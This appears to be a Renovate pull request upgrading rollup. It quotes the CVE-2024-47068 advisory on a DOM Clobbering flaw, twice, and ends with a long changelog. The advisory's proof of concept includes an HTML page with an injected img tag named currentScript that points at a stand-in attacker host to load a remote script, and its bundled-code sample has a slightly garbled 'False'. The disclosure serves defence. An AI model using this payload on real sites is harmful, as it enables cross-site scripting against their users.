We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
PoC
Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
This PR contains the following updates:
3.25.1
->3.29.5
GitHub Vulnerability Alerts
CVE-2024-47068
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use
import.meta.url
or with plugins that emit and reference asset files from code incjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., animg
tag with an unsanitizedname
attribute) are present.It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadget found in
rollup
We have identified a DOM Clobbering vulnerability in
rollup
bundled scripts, particularly when the scripts usesimport.meta
and set output in format ofcjs
/umd
/iife
. In such cases,rollup
replaces meta property with the URL retrieved fromdocument.currentScript
.https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, thesrc
attribute of the attacker-controlled element (e.g., animg
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.js
script, the devloper decides to use therollup
to bundle up the program:rollup main.js --format cjs --file bundle.js
.The output
bundle.js
is shown in the following code snippet.Adding the
rollup
bundled script,bundle.js
, as part of the web page source code, the page could load theextra.js
file from the attacker's domain,attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert animg
tag with the name attribute set tocurrentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of
cjs
,iife
, orumd
and useimport.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing thename
orid
attributes.Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
Release Notes
rollup/rollup (rollup)
### [`v3.29.5`](https://redirect.github.com/rollup/rollup/compare/v3.29.4...v3.29.5) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.29.4...v3.29.5) ### [`v3.29.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3294) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.29.3...v3.29.4) *2023-09-28* ##### Bug Fixes - Fix static analysis when an exported function uses callbacks ([#5158](https://redirect.github.com/rollup/rollup/issues/5158)) ##### Pull Requests - [#5158](https://redirect.github.com/rollup/rollup/pull/5158): Deoptimize all parameters when losing track of a function ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v3.29.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3293) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.29.2...v3.29.3) *2023-09-24* ##### Bug Fixes - Fix a bug where code was wrongly tree-shaken after mutating function parameters ([#5153](https://redirect.github.com/rollup/rollup/issues/5153)) ##### Pull Requests - [#5145](https://redirect.github.com/rollup/rollup/pull/5145): docs: improve the docs repl appearance in the light mode ([@TrickyPi](https://redirect.github.com/TrickyPi)) - [#5148](https://redirect.github.com/rollup/rollup/pull/5148): chore(deps): update dependency [@vue/eslint-config-typescript](https://redirect.github.com/vue/eslint-config-typescript) to v12 ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5149](https://redirect.github.com/rollup/rollup/pull/5149): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5153](https://redirect.github.com/rollup/rollup/pull/5153): Fully deoptimize first level path when deoptimizing nested parameter paths ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v3.29.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3292) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.29.1...v3.29.2) *2023-09-15* ##### Bug Fixes - Export `TreeshakingPreset` type ([#5131](https://redirect.github.com/rollup/rollup/issues/5131)) ##### Pull Requests - [#5131](https://redirect.github.com/rollup/rollup/pull/5131): fix: exports `TreeshakingPreset` ([@moltar](https://redirect.github.com/moltar)) - [#5134](https://redirect.github.com/rollup/rollup/pull/5134): docs: steps to enable symlinks on windows ([@thebanjomatic](https://redirect.github.com/thebanjomatic)) - [#5137](https://redirect.github.com/rollup/rollup/pull/5137): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) ### [`v3.29.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3291) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.29.0...v3.29.1) *2023-09-10* ##### Bug Fixes - Fix time measurement of plugin hooks in watch mode ([#5114](https://redirect.github.com/rollup/rollup/issues/5114)) - Ensure accessing document.currentScript in import.meta.url returns correct results ([#5118](https://redirect.github.com/rollup/rollup/issues/5118)) ##### Pull Requests - [#5114](https://redirect.github.com/rollup/rollup/pull/5114): fix(perf): avoid superfluous timer wrappings in watch mode ([@ZhengLiu2825](https://redirect.github.com/ZhengLiu2825)) - [#5118](https://redirect.github.com/rollup/rollup/pull/5118): fix: access document.currentScript at the top level ([@TrickyPi](https://redirect.github.com/TrickyPi)) - [#5125](https://redirect.github.com/rollup/rollup/pull/5125): chore(deps): update actions/checkout action to v4 ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5126](https://redirect.github.com/rollup/rollup/pull/5126): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5129](https://redirect.github.com/rollup/rollup/pull/5129): re-enbale repl-artefacts workflow for rollup-swc branch ([@TrickyPi](https://redirect.github.com/TrickyPi)) ### [`v3.29.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3290) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.28.1...v3.29.0) *2023-09-06* ##### Features - Add output.sourcemapFileNames option ([#5105](https://redirect.github.com/rollup/rollup/issues/5105)) - Add generic type parameter for `api` to Plugin type ([#5112](https://redirect.github.com/rollup/rollup/issues/5112)) ##### Bug Fixes - Ensure mutations of CustomEvent details are tracked ([#5123](https://redirect.github.com/rollup/rollup/issues/5123)) ##### Pull Requests - [#5105](https://redirect.github.com/rollup/rollup/pull/5105): Added option to name sourcemap files, i.e. a output.sourcemapFileName… ([@atti187](https://redirect.github.com/atti187)) - [#5108](https://redirect.github.com/rollup/rollup/pull/5108): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5109](https://redirect.github.com/rollup/rollup/pull/5109): Docs: load full path of rollup.browser.js for Rollup V4 ([@TrickyPi](https://redirect.github.com/TrickyPi)) - [#5112](https://redirect.github.com/rollup/rollup/pull/5112): feat(types): add generic type for plugin api ([@sxzz](https://redirect.github.com/sxzz)) - [#5115](https://redirect.github.com/rollup/rollup/pull/5115): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5123](https://redirect.github.com/rollup/rollup/pull/5123): Deoptimize custom event detail ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v3.28.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3281) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.28.0...v3.28.1) *2023-08-22* ##### Bug Fixes - Ensure external files with relative import paths outside the target are rendered correctly ([#5099](https://redirect.github.com/rollup/rollup/issues/5099)) ##### Pull Requests - [#5093](https://redirect.github.com/rollup/rollup/pull/5093): chore(deps): update dependency eslint-config-prettier to v9 ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5094](https://redirect.github.com/rollup/rollup/pull/5094): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5099](https://redirect.github.com/rollup/rollup/pull/5099): Fix resolution of relative external files outside target directory ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#5101](https://redirect.github.com/rollup/rollup/pull/5101): chore(deps): update dependency lint-staged to v14 ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5102](https://redirect.github.com/rollup/rollup/pull/5102): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) ### [`v3.28.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3280) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.27.2...v3.28.0) *2023-08-09* ##### Features - Add a new property `preliminaryFileName` to generated chunks containing the file name placeholder ([#5086](https://redirect.github.com/rollup/rollup/issues/5086)) - Improve performance of sourcemap generation by lazily decoding mappings ([#5087](https://redirect.github.com/rollup/rollup/issues/5087)) ##### Bug Fixes - Make the `code` property of rendered modules in the output readonly ([#5091](https://redirect.github.com/rollup/rollup/issues/5091)) ##### Pull Requests - [#5086](https://redirect.github.com/rollup/rollup/pull/5086): feat: add `preliminaryFileName` to `OutputChunk` ([@lsdsjy](https://redirect.github.com/lsdsjy)) - [#5087](https://redirect.github.com/rollup/rollup/pull/5087): perf(sourcemaps): add back lazy sourcemap decode and handling nullish mappings ([@thebanjomatic](https://redirect.github.com/thebanjomatic)) - [#5091](https://redirect.github.com/rollup/rollup/pull/5091): fix: the type of RenderedModule.code is readonly ([@TrickyPi](https://redirect.github.com/TrickyPi)) ### [`v3.27.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3272) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.27.1...v3.27.2) *2023-08-04* ##### Bug Fixes - Revert sourcemap performance improvement for now as it causes issues with Vite ([#5075](https://redirect.github.com/rollup/rollup/issues/5075)) ##### Pull Requests - [#5075](https://redirect.github.com/rollup/rollup/pull/5075): Revert perf(sourcemap): lazy compute decoded mappings ([@thebanjomatic](https://redirect.github.com/thebanjomatic)) ### [`v3.27.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3271) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.27.0...v3.27.1) *2023-08-03* ##### Bug Fixes - Improve performance when generating sourcemaps ([#5075](https://redirect.github.com/rollup/rollup/issues/5075)) ##### Pull Requests - [#5075](https://redirect.github.com/rollup/rollup/pull/5075): perf(sourcemap): lazy compute decoded mappings ([@thebanjomatic](https://redirect.github.com/thebanjomatic)) ### [`v3.27.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3270) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.26.3...v3.27.0) *2023-07-28* ##### Features - Mark `Object.values` and `Object.entries` as pure if their argument does not contain getters ([#5072](https://redirect.github.com/rollup/rollup/issues/5072)) ##### Pull Requests - [#5070](https://redirect.github.com/rollup/rollup/pull/5070): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5071](https://redirect.github.com/rollup/rollup/pull/5071): docs(tutorial): change the .js extension to .mjs ([@TrickyPi](https://redirect.github.com/TrickyPi)) - [#5072](https://redirect.github.com/rollup/rollup/pull/5072): Add known globals ([@sapphi-red](https://redirect.github.com/sapphi-red)) - [#5078](https://redirect.github.com/rollup/rollup/pull/5078): chore(deps): update dependency [@vue/eslint-config-prettier](https://redirect.github.com/vue/eslint-config-prettier) to v8 ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5079](https://redirect.github.com/rollup/rollup/pull/5079): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) ### [`v3.26.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3263) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.26.2...v3.26.3) *2023-07-17* ##### Bug Fixes - Do not pass external modules to `manualChunks` to avoid breaking existing configs ([#5068](https://redirect.github.com/rollup/rollup/issues/5068)) ##### Pull Requests - [#5056](https://redirect.github.com/rollup/rollup/pull/5056): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5059](https://redirect.github.com/rollup/rollup/pull/5059): chore(config): migrate renovate config ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5064](https://redirect.github.com/rollup/rollup/pull/5064): chore(deps): update dependency prettier to v3 ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5065](https://redirect.github.com/rollup/rollup/pull/5065): chore(deps): update typescript-eslint monorepo to v6 (major) ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5068](https://redirect.github.com/rollup/rollup/pull/5068): fix: don't pass external modules to the manualChunks function ([@TrickyPi](https://redirect.github.com/TrickyPi)) ### [`v3.26.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3262) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.26.1...v3.26.2) *2023-07-06* ##### Bug Fixes - Improve error handling when manual chunks would contain external modules ([#5050](https://redirect.github.com/rollup/rollup/issues/5050)) ##### Pull Requests - [#5050](https://redirect.github.com/rollup/rollup/pull/5050): fix: improve error for manualChunks' modules that are resolved as an external module ([@TrickyPi](https://redirect.github.com/TrickyPi)) ### [`v3.26.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3261) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.26.0...v3.26.1) *2023-07-05* ##### Bug Fixes - Support `hasOwnProperty` as exported name in CommonJS ([#5010](https://redirect.github.com/rollup/rollup/issues/5010)) - Properly reference browser types in package file ([#5051](https://redirect.github.com/rollup/rollup/issues/5051)) ##### Pull Requests - [#5010](https://redirect.github.com/rollup/rollup/pull/5010): safe hasOwnProperty call ([@LongTengDao](https://redirect.github.com/LongTengDao)) - [#5051](https://redirect.github.com/rollup/rollup/pull/5051): [@rollup/browser](https://redirect.github.com/rollup/browser): fix types export map entry ([@developit](https://redirect.github.com/developit)) ### [`v3.26.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3260) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.25.3...v3.26.0) *2023-06-30* ##### Features - Add `--filterLogs` CLI flag and `ROLLUP_FILTER_LOGS` environment variable for log filtering ([#5035](https://redirect.github.com/rollup/rollup/issues/5035)) ##### Pull Requests - [#5035](https://redirect.github.com/rollup/rollup/pull/5035): Add ability to filter logs via CLI option or environment variable ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#5049](https://redirect.github.com/rollup/rollup/pull/5049): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) ### [`v3.25.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3253) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.25.2...v3.25.3) *2023-06-26* ##### Bug Fixes - Fix error when inlining dynamic imports that contain unused reexported variables ([#5047](https://redirect.github.com/rollup/rollup/issues/5047)) ##### Pull Requests - [#5047](https://redirect.github.com/rollup/rollup/pull/5047): Do not add tree-shaken variables to namespaces when inlining dynamic imports ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v3.25.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3252) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v3.25.1...v3.25.2) *2023-06-24* ##### Bug Fixes - Handle plugin errors where `code` is not a string ([#5042](https://redirect.github.com/rollup/rollup/issues/5042)) - Use current transformed source when generating code frames with positions in transform hooks ([#5045](https://redirect.github.com/rollup/rollup/issues/5045)) ##### Pull Requests - [#5038](https://redirect.github.com/rollup/rollup/pull/5038): chore(deps): lock file maintenance minor/patch updates ([@renovate](https://redirect.github.com/renovate)\[bot]) - [#5040](https://redirect.github.com/rollup/rollup/pull/5040): Fix typo in index.md ([@vHeemstra](https://redirect.github.com/vHeemstra)) - [#5042](https://redirect.github.com/rollup/rollup/pull/5042): fix: a plugin error can contains numeric code ([@TrickyPi](https://redirect.github.com/TrickyPi)) - [#5045](https://redirect.github.com/rollup/rollup/pull/5045): Fix `this.error` with `pos` in `transform` hook ([@sapphi-red](https://redirect.github.com/sapphi-red)) - [#5046](https://redirect.github.com/rollup/rollup/pull/5046): chore(deps): update dependency locate-character to v3 ([@renovate](https://redirect.github.com/renovate)\[bot])Configuration
📅 Schedule: Branch creation - "" in timezone Europe/Oslo, Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.